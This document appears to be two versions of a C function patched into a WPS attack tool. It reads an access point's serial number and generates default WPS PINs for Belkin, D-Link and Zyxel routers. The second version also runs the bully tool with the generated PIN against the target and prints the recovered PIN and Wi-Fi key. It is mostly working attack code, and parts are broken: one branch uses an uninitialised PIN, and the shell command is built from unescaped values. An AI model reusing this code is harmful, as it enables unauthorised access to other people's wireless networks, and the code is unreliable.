static int wps_process_serial_number(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Serial Number received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Serial Number", str, str_len); /****** ADD THIS PART ******/ printf("[P] Access Point Serial Number: "); int pixiecnt = 0; for (; pixiecnt < str_len; pixiecnt++) { printf("%c", (char *) str[pixiecnt]); } printf("\n"); /******/ if(globule->stop_in_m1 == 1) { //exit reaver, need this to get manufac and model for the wash option exit(0); } //generate pin, created by http://www.devttys0.com/ team //https://github.com/devttys0/wps/tree/master/pingens/belkin if(globule->op_gen_pin == 1) { printf("[Pin Gen] Belkin Default Pin Generator by devttys0 team\n"); if(str_len < 4) //serial muito curto { printf("[Pin Gen] Model Serial Number too short\n"); exit(0); } printf("[Pin Gen] Pin Generated : %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 0)); printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 1)); printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, -1)); exit(0); } //generate pin, created by http://www.devttys0.com/ team //https://github.com/devttys0/wps/tree/master/pingens/dlink if(globule->op_gen_pin == 2) { printf("[Pin Gen] D-Link Default Pin Generator by devttys0 team\n"); printf("[Pin Gen] Pin Generated : %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), str, str_len, 0)); printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), str, str_len, 1)); printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_dlink(mac2str(get_bssid(),'\0'), str, str_len, -1)); exit(0); } if(globule->op_gen_pin == 3) { printf("[Pin Gen] Zyxel Default Pin Generator\n"); printf("[Pin Gen] Pin Generated : %08d\n",pingen_zyxel(mac2str(get_bssid(),'\0'), str, str_len, 0)); exit(0); } os_free(dev->serial_number); dev->serial_number = os_malloc(str_len + 1); if (dev->serial_number == NULL) return -1; os_memcpy(dev->serial_number, str, str_len); dev->serial_number[str_len] = '\0'; return 0; }
static int wps_process_serial_number(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Serial Number received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Serial Number", str, str_len); if ((*pixierun > 0) && (debug_level == 4)) { printf("[P] WPS Serial Number: "); int pixiecnt = 0; for (; pixiecnt < str_len; pixiecnt++) { printf("%c", (char) str[pixiecnt]); } printf("\n"); } if (op_gen_pin == 1) { char cmd_bully_test_aux[4000]; char cmd_buf_c[5]; char genpin[100]; int pinint; pinint = pingen_dlink(p_bssid,'\0'); sprintf(genpin, "%d", pinint); printf("[Pin Gen] D-Link Default Pin Generator by devttys0 team\n"); printf("[Pin Gen] Pin Generated : %s\n",genpin); memset(cmd_bully_test_aux, 0, sizeof(cmd_bully_test_aux)); memset(cmd_buf_c, 0, sizeof(cmd_buf_c)); strcat(cmd_bully_test_aux,"bully "); strcat(cmd_bully_test_aux,"-b "); strcat(cmd_bully_test_aux,p_bssid); strcat(cmd_bully_test_aux," -p "); strcat(cmd_bully_test_aux,genpin); strcat(cmd_bully_test_aux," -B --force "); strcat(cmd_bully_test_aux,p_iface); printf("[+] Running bully with the generated pin, wait ...\n"); printf("[+] Cmd : %s\n",cmd_bully_test_aux); FILE *gen_test; if ((gen_test = popen(cmd_bully_test_aux, "r")) == NULL) { printf("Error opening pipe!\n"); } while (fgets(pixie_buf_aux2, 4000, gen_test) != NULL) { if(strstr(pixie_buf_aux2," PIN : ")!=NULL) { printf("[Bully Test] %s", pixie_buf_aux2); } if(strstr(pixie_buf_aux2," KEY : ")!=NULL) { printf("[Bully Test] %s", pixie_buf_aux2); } } //printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_dlink(p_bssid,'\0'), 1); //printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_dlink(p_bssid,'\0'), -1); exit(0); } //generate pin, created by http://www.devttys0.com/ team //https://github.com/devttys0/wps/tree/master/pingens/belkin if (op_gen_pin == 2) { printf("[Pin Gen] Belkin Default Pin Generator by devttys0 team\n"); if(str_len < 4) //serial muito curto { printf("[Pin Gen] Model Serial Number too short\n"); exit(0); } char cmd_bully_test_aux[4000]; char cmd_buf_c[5]; char genpin[100]; int pinint; //pinint = pingen_belkin(p_bssid, str, str_len, 0); sprintf(genpin, "%d", pinint); printf("[Pin Gen] Pin Generated : %s\n",genpin); //printf("[Pin Gen] Pin Generated : %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 0)); //printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 1)); //printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, -1)); exit(0); } os_free(dev->serial_number); dev->serial_number = os_malloc(str_len + 1); if (dev->serial_number == NULL) return -1; os_memcpy(dev->serial_number, str, str_len); dev->serial_number[str_len] = '\0'; return 0; }